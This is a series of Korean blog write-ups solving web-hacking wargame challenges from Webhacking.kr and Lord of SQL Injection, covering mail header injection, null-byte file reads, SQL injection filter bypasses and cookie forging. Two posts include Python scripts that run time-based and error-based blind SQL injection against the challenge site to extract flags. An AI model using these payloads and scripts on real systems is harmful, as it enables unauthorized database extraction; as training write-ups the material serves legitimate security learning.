mail header injection문제이다. ie의 개발자도구를 이용해 html 소스부터 확인해 보았는데 역시나 index.phps가 주석처리 되어있다.

php소스를 보기전에 Mail : 창에 oiehso0을 입력하고 request를 보니 post형태로 email변수에 담겨 서버로 전달 된것을 볼 수 있었다.




php소스를 보니  email에 담긴 값이 header에 From 즉, 발신자로 들어가는 것을 알 수 있다.

바로 아랫줄에 mail함수가 실행되는데  mail(수신자, 제목, 내용, 옵션)이러한 구성으로 이루어져 있다.

내용에는 password가 담기는데 어떻게하면 나도 그 내용을 볼 수 있을까?



mail함수의 레퍼런스를 찾아보던중 예시를 하나 발견했는데 Cc(참조인)이라는 헤더의 옵션을 발견했다.

참조인은 메일을 수신자에게 보내는데 너도 참고해라 라는 의미로 쓰이며 같은 내용이 참조인에게 전송된다.

즉, header injection에 참조인의 옵션이 들어가면 될 것이다.



웹페이지의 입력창에서는 공백과 \n \r 등의 문자를 그대로 헤더 변수에 넣을 수 있는 프록시툴을 이용해서 request를 보내기전 중간에 수정해주는 방법을 이용한다.


'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 26번  (0) 2018.04.12
Webhacking.kr 27번  (0) 2018.04.12
Webhacking.kr 25번  (0) 2018.04.11
Webhacking.kr 18번  (0) 2018.04.11
Webhacking.kr 39번  (0) 2018.04.10


25번 문제는 get방식의 파라미터에 file이름을 넣으면 파일 내용이 출력되는 구조를 갖는듯하다. 그런데 확장자는 생략하고 적어도 상관없이 값이 출력된는 것으로 보이는데 




file에 정말 이상한 값을 넣어도 hello world가 출력되었고, 조건문 마지막 else문 쯤에 hello.txt의 출력 기능이 있을것이라 예상했다.



리눅스 ls -l 명령어를 입력했을때 나오는 화면을 힌트라고 던져준 듯하다.




그렇다고해서 password.php라는 파일을 읽고싶어 hello와 마찬가지로 확장자를 떼고 썼을때도 마지막 else문으로 빠지는 것을 알 수 있었고,

파일명 + .txt <<==와 같이 확장자를 임의로 붙여주는듯 했다. 그래서 문자열의 마지막을 뜻하는 %00(Null)값을 읽고자하는 파일의 마지막에 붙여주니

뒤에 임의로 붙여준 .txt는 무시되고 파일을 읽을 수 있었다.




'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 27번  (0) 2018.04.12
Webhacking.kr 47번  (0) 2018.04.11
Webhacking.kr 18번  (0) 2018.04.11
Webhacking.kr 39번  (0) 2018.04.10
Webhacking.kr 01번  (0) 2018.04.10


18번 문제는 sql injection문제이다 lord of sql injection을 클리어 했으니까 무난하게 풀렸으면.. 좋겠다.

먼저 쿼리를 입력해서 전송하는 칸이 따로 있는데 문자열로 들어가기 때문에 url encoding string을 넣어봤자 그대로 들어가지 않는다는 것을 주의한다.

index.phps코드부터 보기로 한다.



숫자만 있는 문자열을 찾을 경우 : "^[0-9]$" : 0~9까지 숫자만있는 문자열

숫자를 제외한 문자열을 찾을 경우 : "[^0-9]" : 0~9까지 숫자를 제외한 문자열


공백  (   )   탭   |   &   union   select   from   0x  <<<===문자를 필터링하기때문에 우회하는 방법을 생각해보면 LF기호인 %0a를 이용하기로 한다.


*참고) sql 연산자 우선순위 : 괄호 > not > and > or


select id from challenge18_table where id='guest' and no=$_GET와 같은 쿼리를 날렸을때 admin이 나와야한다.

아래 세가지와 같은 방법으로 문제를 해결할 수 있다.


0 or 1 limit 1,1

0 or no>1

0 or no=2




'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 47번  (0) 2018.04.11
Webhacking.kr 25번  (0) 2018.04.11
Webhacking.kr 39번  (0) 2018.04.10
Webhacking.kr 01번  (0) 2018.04.10
Webhacking.kr 06번  (0) 2018.04.10


해당 문제의 소스를 보면 <!-- index.phps -->와 같은 주석 부분이 있다. 

php소스코드를 확인해보면 str_replace()로 id 문자열에 \\나 ' 에  해당되는 문자를 각각 공백과 ''로 치환한다.

그리고 select 'good' from zmail_member where id='$_POST[id]" 쿼리문을 자세히 보면 맨 뒤에 싱글 쿼터가 하나 빠진것을 볼 수 있다.

POST[id]를 맨 앞 첫부터 15만큼 때오는데     q[0]=='good'을 충족해야한다.




입력창에 15글자인 good + 공백*10 + '(싱글쿼터) 를 넣으면 id가 str_replace("'", "''", $_POST[id])로 인해 16자리가 되지만 substr함수에 의해 맨뒤 싱글쿼터가 하나 잘려나가고 나머지 하나만 남아서 q[0] == 'good'이 True가 되면서 39번 문제 solve. 




'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 47번  (0) 2018.04.11
Webhacking.kr 25번  (0) 2018.04.11
Webhacking.kr 18번  (0) 2018.04.11
Webhacking.kr 01번  (0) 2018.04.10
Webhacking.kr 06번  (0) 2018.04.10


php 코드중에 조건문 if를 이해하는지에 관한 문제이다. 그러기 위해선 먼저  eregi가 무슨 역할을 하는지 부터 알아야한다.

eregi는 대소문자 구분없이 대상 문자열에 찾는 문자열이 있는지 없는지 알아보기 위한 함수이다.


숫자만 있는 문자열을 찾을 경우 : "^[0-9]$" : 0~9까지 숫자만있는 문자열

숫자를 제외한 문자열을 찾을 경우 : "[^0-9]" : 0~9까지 숫자를 제외한 문자열


즉. Cookie에 user_lv에는 오로지 숫자만 들어가야하며 5<user_lv<6의 조건을 가져야한다.




'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 47번  (0) 2018.04.11
Webhacking.kr 25번  (0) 2018.04.11
Webhacking.kr 18번  (0) 2018.04.11
Webhacking.kr 39번  (0) 2018.04.10
Webhacking.kr 06번  (0) 2018.04.10



6번 문제 index.phps를 확인해보면 Cookie user에 아무값도 없다면 id와 password에 각각 'guest' , '123qwe'를 넣고 base64암호화를 20번한 뒤에 그 문자열에 들어간 1~8까지의 숫자를 기호로 치환한다.

우리는 decode_id와 decode_pw를 admin으로 맞춰 주었을때 6번 문제를 풀 수 있다. 그러기 위해선

문자열 'admin' 를 base64 암호화를 20번하고 1~8을 기호로 치환해서 cookie에 담아서 request를 보내면 solve.



base64.encodestring()를 사용하는 바람에 엄청난 삽질을 했다.

base64 모듈의 encodestring() 의 API문서를 확인해보니 

Encode the string s, which can contain arbitrary binary data, and return a string containing one or more lines of base64-encoded data. 

encodestring() returns a string containing one or more lines of base64-encoded data always including an extra trailing newline ('\n').

문자열이 길어지게 되면 \n 개행문자를 포함하는것이다.


그래서 base64.encodestring()대신에 base64.b64encode()를 사용하여 간단한 스크립트를 짰다.


proxy tool인 paros를 이용하여 request 쿠키값을 변경한뒤 보내줘도 되지만 좀 더 깔끔하게 스크립트로 해결한다.




web_06.py

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 47번  (0) 2018.04.11
Webhacking.kr 25번  (0) 2018.04.11
Webhacking.kr 18번  (0) 2018.04.11
Webhacking.kr 39번  (0) 2018.04.10
Webhacking.kr 01번  (0) 2018.04.10


코드 윗부분을 보면 function이 정의되어 있다. flag를 리셋 시키는 거 같은데 

new_flag에 해쉬값의 8번째 문자를 시작으로 16개의 문자를 담는다. 그 후에 if값이 참이라면 insert into 구문을 사용해서 테이블에 데이터를 넣고 update문을 이용해서  flag값을 수정한다. 


문자 필터링에는 id, where, order, limit, , 등이 있었고 flag값이 100자를 넘으면 안된다.

realflag변수는 말 그대로 realflag를 가지고 

입력한 flag 값은 prob_umaru_temp라는 테이블에 넣어준다.

real flag값과 temp flag값이 다르면 reset_flag()함수를 실행하는데 이 부분을 우회해야 flag값을 부르트포싱 할 수 있다.


연산 우선순위에 의해서 sleep()함수 내부에 length(flag)={0}를 넣어주고 이에 따른 true, false 값이 리턴 될 것이다.

그리고 (select 1 union select 2)는 Subquery returns more than 1 row에러가 나기 때문에 

update prob_umaru_temp set flag ={$_GET[flag]}구문부터 아래는 처리 되지 않는다. 이런식으로 sleep함수를 이용하여 블라인드 인젝션을하고 에러로 reset_flag()함수의 실행을 막는다.



다른이야기지만 mysql은 query 최적화를 위해 or 이전에 값이 true이면 or이후의 절은 확인하지 않는다. 즉  or 뒤에 sleep이 있다면 실행 되지 않는다는 것.



import urllib2

import time


headers={"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36","Cookie": "__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82"}


for i in range(1,20):

    t1=time.time()

    url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((length(flag)={0})*2)%20=(select%201%20union%20select%202)".format(str(i))

    request=urllib2.Request(url,None,headers)

    response=urllib2.urlopen(request)

    res=response.read()

    t2=time.time()

    print "t2-t1 : ",t2-t1

    if t2-t1>2:

        print "flag length : ", i

        break



string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"

result=""


for i in range(0,16):

    for k in range(0,50):

        t1=time.time()

        url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((flag%20like%20%27{0}{1}%%27)*2)%20=(select%201%20union%20select%202)".format(str(result),str(string[k]))

        request=urllib2.Request(url,None,headers)

        response=urllib2.urlopen(request)

        res=response.read()

        t2=time.time()

        print str(i)+"\t"+str(k)

        if t2-t1>2:

            result+=string[k]

            print 

            break

print result


print ('Password is '+result)

url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+result

request=urllib2.Request(url,None,headers)

response=urllib2.urlopen(request)

res=response.read()

print (res)







los_umaru.py




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

21.los dark_eyes  (0) 2018.04.02
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29

이번 문제는 전 문제와 다르게 에러의 내용도 출력해 주지 않고 if, case, when 등 조건문을 필터링한다. 쿼리가 제대로 실행이 되는지 에러가 나는지 알 방법이 필요한데, 이때에 필요한것이 select 1 union select 2이다.  


먼저 length 함수를 이용해서 패스워드 길이를 알아본다 union select 2 <== 2부분에 length(pw)=8을 넣어보니 쿼리와 php코드가 나오는 걸로 보아 패스워드는 8자리임을 알 수 있었다.


import urllib2 


headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82'} 

result=[]

for i in range(1,9):

        for j in range(0,0xff):

                urL="http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20||%20id=%27admin%27%20%26%26%20(select%201%20union%20select%20ord(substr(pw,{0},1))={1})%23".format(str(i),str(j))

                request = urllib2.Request(urL, None, headers) 

                response = urllib2.urlopen(request) 

                res=response.read()       

                if "query" in res:

                        result+=str(i)

                        break

        print str(i)+"ord : "+str(j)        





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

24.los umaru  (0) 2018.04.03
20.los iron_golem  (0) 2018.03.30
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29


이번문제는 블라인드 인젝션 문제이다. 1차적으로 pw의 길이를 알아내고 한글자씩 문자를 찾아내기로 한다. 

sleep과 benchmark를 필터링하기 때문에 딜레이를 이용한 블라인드 인젝션은 불가능하다.

대신 if(mysql_error()) exit(mysql_error()); 코드가 처음으로 추가 되었는데, 에러 발생시 오류를 출력하는 기능의 조건문이다.

이 부분을 응용해서 공격하는 기법을 Error based SQL injection이라고 한단다.



에러가 발생시 오류를 출력하기 때문에 if문을 이용해서 조건이 참이될때만 에러가 나야만 블라인드 인젝션이 가능하다.=쿼리의 참, 거짓의 구분이 가능하다.(쿼리 문장에서부터 오류가나면 안됨. 거짓일 때도 오류가 나면 안됨. 무조건 참일때만)

여러 사람들이 select 1 union select 2 문을 사용하던데 본인은 pow()라는 숫자의n제곱 기능을 이용해서 참이 되면 연산 범위 오류가 나도록 했다.


아래와 같이 1부터 15까지는 정상적이 쿼리가 echo되었지만 16에서 오류가 출력되었다. 이 말은 조건문이 참이 되었다는 것을 뜻하고 pw의 길이는 16 이라는 것을 알 수 있었다.




아스키코드 범위를 초과하는 문자열이 나왔던 xavis문제 이후로 ord로 비교하는 버릇이 생겼다. 나름 좋은 점이 있는듯 하다.

예상하고 달랐던 점은 pw의 길이가 16이라고 했지만 5부터 16자리까지는 Null문자로 채워져 있었다.




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

24.los umaru  (0) 2018.04.03
21.los dark_eyes  (0) 2018.04.02
19.los dragon  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29


문자의 필터링이 이전 문제에 비해 줄었다. 하지만 id='guest' 뒤에 #으로 주석처리가 되어 있어서 새로운 방법을 모색해야 했다.

우선 #주석처리는 동일한 라인의 마지막 문자까지 주석처리를 하고 이외의 다른라인에는 영향이 없다.

그래서 우리는 주석처리를 무시할 수 있게 개행을 해줘야하는데 line feed 기능을 하는 \n의 아스키코드인 %0a를 사용하기로 한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

21.los dark_eyes  (0) 2018.04.02
20.los iron_golem  (0) 2018.03.30
18.los xavis  (0) 2018.03.29
17.los nightmare  (0) 2018.03.29
16.los succubus  (0) 2018.03.28

+ Recent posts